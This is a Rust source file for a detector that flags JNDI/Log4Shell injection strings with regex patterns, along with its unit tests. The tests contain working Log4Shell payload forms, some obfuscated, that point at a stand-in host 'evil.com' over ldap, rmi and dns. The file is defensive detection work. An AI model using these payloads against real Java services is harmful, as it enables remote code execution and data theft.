security_rust/injection/
jndi_injection.rs1use crate::{regex_detect, AttackCategory, DetectionResult, Detector, Severity};
4use regex::Regex;
5use std::sync::LazyLock;
6
7static PATTERNS: LazyLock<Vec<Regex>> = LazyLock::new(|| {
8 vec![
9 Regex::new(r"(?i)\$\{jndi:").unwrap(),
10 Regex::new(r"(?i)\$\{lower:j\}").unwrap(),
11 Regex::new(r"(?i)\$\{upper:j\}").unwrap(),
12 Regex::new(r"(?i)\$\{::-j\}").unwrap(),
13 Regex::new(r"(?i)\$\{env:").unwrap(),
14 Regex::new(r"(?i)\$\{sys:").unwrap(),
15 Regex::new(r"(?i)\$\{java:").unwrap(),
16 ]
17});
18
19pub struct JndiInjectionDetector;
20
21impl Detector for JndiInjectionDetector {
22 fn name(&self) -> &'static str {
23 "jndi_injection"
24 }
25
26 fn detect(&self, input: &str) -> Option<DetectionResult> {
27 regex_detect(&PATTERNS, self.name(), AttackCategory::Injection, Severity::Critical, "JNDI/Log4Shell injection detected", input)
28 }
29}
30
31#[cfg(test)]
32mod tests {
33 use super::*;
34
35 fn det() -> JndiInjectionDetector {
36 JndiInjectionDetector
37 }
38
39 fn assert_hit(input: &str) {
40 crate::test_helpers::assert_detected(
41 &det(),
42 input,
43 AttackCategory::Injection,
44 Severity::Critical,
45 );
46 }
47
48 #[test]
49 fn name_is_jndi_injection() {
50 assert_eq!(det().name(), "jndi_injection");
51 }
52
53 #[test]
54 fn detects_common_payloads() {
55 for input in [
56 "${jndi:ldap://evil.com/a}",
57 "${lower:j}ndi:ldap://evil.com/a}",
58 "${upper:j}NDI:rmi://evil.com}",
59 "${::-j}ndi:dns://evil.com}",
60 "${env:JNDI_LOOKUP}",
61 "${sys:java.version}",
62 "${java:os.name}",
63 ] {
64 assert_hit(input);
65 }
66 }
67
68 #[test]
69 fn benign_inputs_not_detected() {
70 for input in [
71 "Hello, this is a normal text input. Nothing suspicious here.",
72 "The jndi lookup service is running",
73 "Please set the JAVA_HOME env variable",
74 "log4j is a logging library",
75 ] {
76 assert!(det().detect(input).is_none(), "false positive: {input}");
77 }
78 }
79
80 #[test]
81 fn edge_cases() {
82 assert!(det().detect("").is_none());
83 assert!(det().detect(" \t\n ").is_none());
84 assert!(det().detect("你好世界 こんにちは").is_none());
85 assert!(det().detect("jndi:ldap://evil.com/a").is_none());
87 assert!(det().detect("${jndi").is_none());
88 assert!(det().detect("${jndildap://evil.com}").is_none());
89 }
90
91 #[test]
92 fn obfuscated_variants_detected() {
93 for input in [
94 "${JNDI:ldap://evil.com/a}",
95 "${LoWeR:j}ndi:ldap://evil.com}",
96 "${ENV:LOG4J_FORMAT_MSG_NO_LOOKUPS}",
97 ] {
98 assert_hit(input);
99 }
100 }
101}